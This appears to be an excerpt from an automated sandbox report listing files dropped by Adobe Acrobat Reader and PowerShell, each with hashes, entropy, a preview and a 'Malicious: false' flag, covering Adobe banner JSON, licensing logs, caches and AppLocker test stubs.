MD5:	8B7CEF4648C120D5E8A7E697113A4FDF
SHA1:	D24A59E7FF2F6246631391A9BA03997B5BB0144E
SHA-256:	CA604594D6DE0773869331CBE7F888629AA957ECA30122E8C9771A532645E2CA
SHA-512:	4E3DB884539EABA74CB146C8367968F0BD62393DB98670AB46D03E7741F7A81BEBE458C6B1B88EA266AB6C7F70EA17A4BEC1A456FC3ADF09C7836F3146504BC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.253790463840217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJf+dPeUkwRe9:YvXKXTw2hATpvR/ZwHAxG28Ukee9
MD5:	D48063D08A6E197E60127CCCCA8B9155
SHA1:	4EDC6164663E4B9EF26C235BC47E481BCF9B0F6F
SHA-256:	9AB9618B4D47E21A5D4B7C39891D6C4DC7C1059448934EC2699BD41A37A127F2
SHA-512:	B80C4FD6713451A056FD41075CE87AF4C521BD81202A3D12FDE351AFE97E657E7452FC8C4131009D98D224997AB265AEA7A5EB807CF329C8C51E5761BF4BDFAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.251771401541476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfbPtdPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGDV8Ukee9
MD5:	8BF41D3643FB4C8BE00E60B724F948B9
SHA1:	02AC981D3FD4D4B64E5F24C6868D17871EF61542
SHA-256:	034CDE994EDDBE0A8DC2B47C4CC238FB24914DF8B50FF01381C6A44D7FAD5EF8
SHA-512:	A1F46860C0C6B973737AE7444C05EDF9E510A806D3BDCD88B1FBBD7648965E68FDA0D180873B4985558865C6E0351FB84FE70DBA80882934BA3DD02F93B2BFB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250667349524336
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJf21rPeUkwRe9:YvXKXTw2hATpvR/ZwHAxG+16Ukee9
MD5:	EE64C353264E5BF740F0D6B7006B3FA2
SHA1:	5616F46AD25C9935091ABD2A37D47C1B95A27AF7
SHA-256:	A11E631ACECFC03EAC75FBB32ECB6A59FFFD841024F902F27BB047724B1E5FD3
SHA-512:	D38E97CC6D2C7D2A192EE711FA9CEACE54EF5CEF19197641F3FFAC8CD9AD038AF1F6042E5A89CBAC71B89AA7B2B8CB132502C8EB7133534AE454D19D85822BC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663834903344186
Encrypted:	false
SSDEEP:	24:Yv6XT0FJh+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:Yvg0FJhABgkDMUJUAh8cvMO
MD5:	C3264EA7C1B3B6DE7DF35E46A86214D5
SHA1:	4124287AE3FC4636842EDC7DB6DC9CE4F2C69D1A
SHA-256:	F73B0D10B792379C7224531878FC130B6164B264536B162C598B38D033B52B7D
SHA-512:	F57E2092DD007238EF02A4E7E692FCDA6F57A4CC729D98A1D80AE428685AD25E437C729BD4C051F3F400BCE7B06169A859493C7066B1BE501364CE79DB4E6773
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2240201864143865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfshHHrPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGUUUkee9
MD5:	4864D9E777619595F74000C5000D5D85
SHA1:	BA1FA2C885CB571F4068AB4404D9DA5EC6F96B1A
SHA-256:	5EB9CBB39C719397B6F63A75BB593375B0B125B81E119E746AFE891A4BF24803
SHA-512:	5ECCF236B900D58DEBC09BA495A020644F1EFFA85037EC68E16704889C95A7AEB60F68F0000560EC771A5DB2FA0A90A82A7EB4E55984324842389AC4F2BF3044
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.246191194008202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJTqgFCrPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGTq16Ukee9
MD5:	8E908EEC2B1711B9D92D1FB355B3FCF2
SHA1:	BA08C2FDA10707BF13BC48BC83F201190F5495AD
SHA-256:	C1E446506BCC4019F3BC615FE332D5B03581138B081EDFABEC4A32CB5B08DDBB
SHA-512:	7BA33C059DB14FC9DE2DD3F6C904EDB08DB25D950781D949E408D3804D11101AE7596C336649F8D75B2928AAC4539D6E83B726A0531A124FD11BA4064B0C1756
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141934948833457
Encrypted:	false
SSDEEP:	48:Ys42np6v1ghWEkqZDUL7rx0Dasa09MldK:bv6v1ghW9quqDasHMlw
MD5:	6CD6A410CAA90178C5B754ED9DFCF97D
SHA1:	369FDF2C1FC514F3F864F8C757F612257227D9C2
SHA-256:	7194F44ABF3A23FE154950EA8E9291F2D8C1CFF64BC7430954ADC0E87599A6E9
SHA-512:	80A0ACD8E7D9FCCC28A2AF76A63B125D82D3900B5BB0605930474D894971069A12A22B5F531D4A970989898360C9E6BE4FE40E6370075FE909AC459021A62BBE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"675bdfa7a654ada3569dbc684c1ae72d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736537718000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0dee32c7f3d161e1ba6057ab725d4c8e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736537718000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4e90393542bcd798c966c46c3f2f99eb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736537718000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8f27c5efb9d61511cccb6e4a39874857","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736537718000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3722cc9d2438dc93dd3b5015a022c6e3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736537718000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d52fe0be22adcbfd4c54a8de0b9b624d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318519406866333
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeQyCvtqY:TGufl2GL7ms9WR1CPmPbPahOlypilI09
MD5:	A4634E0F83A14ADD4144D7B131DEF22A
SHA1:	2327D5F985159FE371B26D3EA1539851D6BA6ECE
SHA-256:	92D82D3C1C47EB3F401B2F12906E5676A57F3420A8C2E563AFFB2579D89BF43A
SHA-512:	A42CA979CB03009DE7DFF0037ACA5BBA357D794B9CCE978CD4BDAB89E1D54A00549A85EFAE6388D807B776B33EB7DBBD32840EB35B776690326EB6EB9DB62193
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7818616805053629
Encrypted:	false
SSDEEP:	48:7MBWR1CPmPbPahOgypilI5qFl2GL7msqf:7AWfMwbPahhYKVmsqf
MD5:	336D2428E62871B61A77F93D1671CE66
SHA1:	2A53B20FFBF5B7E748C4DBAB4DCFB837B517E646
SHA-256:	12E787A573AC4312C02035BEABBA20CED2147193BBD1DB0F7AAA37EFC4CC5F0E
SHA-512:	D1D586CC44D41403C9AEBB09EFBC1C787A6061D819B936B98E12038247550E76DE8E6D08308E35577E146BD0D4418741988C172607770C87D01EE1C9F6BF657C
Malicious:	false
Preview:	.... .c........{..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxnUQllksEEcjBxpkXnkSobgVPNYyu:6a6TZ44ADExnUQzZ0BxIqgNK
MD5:	134B2514CF55381D695D14BB7FA4A99A
SHA1:	426AD065CC0557E28AD85630A7A80E814FFFDC17
SHA-256:	744E0C828840D22F50449425CA1727826B77168908A867DB28A632C573ED7EAB
SHA-512:	2A2EFB8A26BF3253D9E5CE2462507ADFB2E72B671404F0866A5EB7F786873B3107723C52ECC044B19EE05E312DAB5BFA93CE1AF3DFC9EA8078B0998032C9069D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI46074.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERKDYle:Qw946cPbiOxDlbYnuRK+bDsEw
MD5:	97DCBCF33638BD2382835A6D00CB6880
SHA1:	B45B1543BA5BBB091D5784C6E20F43190BC9A5C2
SHA-256:	8E5C2F9E0668E9DC0DA7D6CDFCAE5E31D4D736A8FD0148EF1AD79AADCD2BEA4D
SHA-512:	6689509A12047A6B18E2A186D1B976EF1671E1FBEC7D8DEABC11B25667CDFE5F7FAD938649991F7E25D57FD559304F7CF29D6300677D2E575ED907F4A7AAEDDE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.3.5.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lvyddcbp.kop.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y52q5tqt.p3m.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-35-11-950.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354826369711924
Encrypted:	false
SSDEEP:	384:5uiPbHiKy2BZAO5cKetWzZCbTYf6uWqH7YD53TZI8Hww2txRxGBonQnez9T0wv/O:7Di
MD5:	64C88E4AF8965EC9B110D58CCBF5E6BD
SHA1:	656B76D15851DA730A349988BB236B3ECCD2621D
SHA-256:	108D16BF3808278B68D046BF7771FC503B70D4AAABAB1EC54E55D407D7AE3FAB
SHA-512:	E0BE7F89492F1EF05AA0720543FCF9C2A047E723EF07CBFBF953840E226CFC4EB1933C333190D209E6F6E2F2D879614547D15D5094717527B917797A123286C8
Malicious:	false
Preview:	SessionID=578dfea7-8e40-4149-837f-21df2bf647d2.1736537711981 Timestamp=2025-01-10T14:35:11:981-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=578dfea7-8e40-4149-837f-21df2bf647d2.1736537711981 Timestamp=2025-01-10T14:35:11:982-0500 ThreadID=7480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=578dfea7-8e40-4149-837f-21df2bf647d2.1736537711981 Timestamp=2025-01-10T14:35:11:982-0500 ThreadID=7480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=578dfea7-8e40-4149-837f-21df2bf647d2.1736537711981 Timestamp=2025-01-10T14:35:11:982-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=578dfea7-8e40-4149-837f-21df2bf647d2.1736537711981 Timestamp=2025-01-10T14:35:11:983-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401457725133861
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbPpcbWI5pcbl:ceo4+rsClO5a
MD5:	7ED0CD218BFD568D4B0AAAF3FCECC369
SHA1:	99675B8E6BEEBF880B40C3F24F15746F50E36806
SHA-256:	34EB66A541429DF3AB49DEFCC7BA0F4CB7619DB0BECC183221238AB6E6ADF3A5
SHA-512:	88B9DB5AD0691B50DAA11C10116BADAC26FA5F580143FB2C8E732F66595179D8BB667D885D8153659F07F5CF40344BA8AC90F89BBF8C9EAC4ADF2DE380A0421A
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\bbba5b4c-768c-4014-8d3e-a0b3c9ff62bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c56075ef-0527-453b-a5db-c3c84e3bbcc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
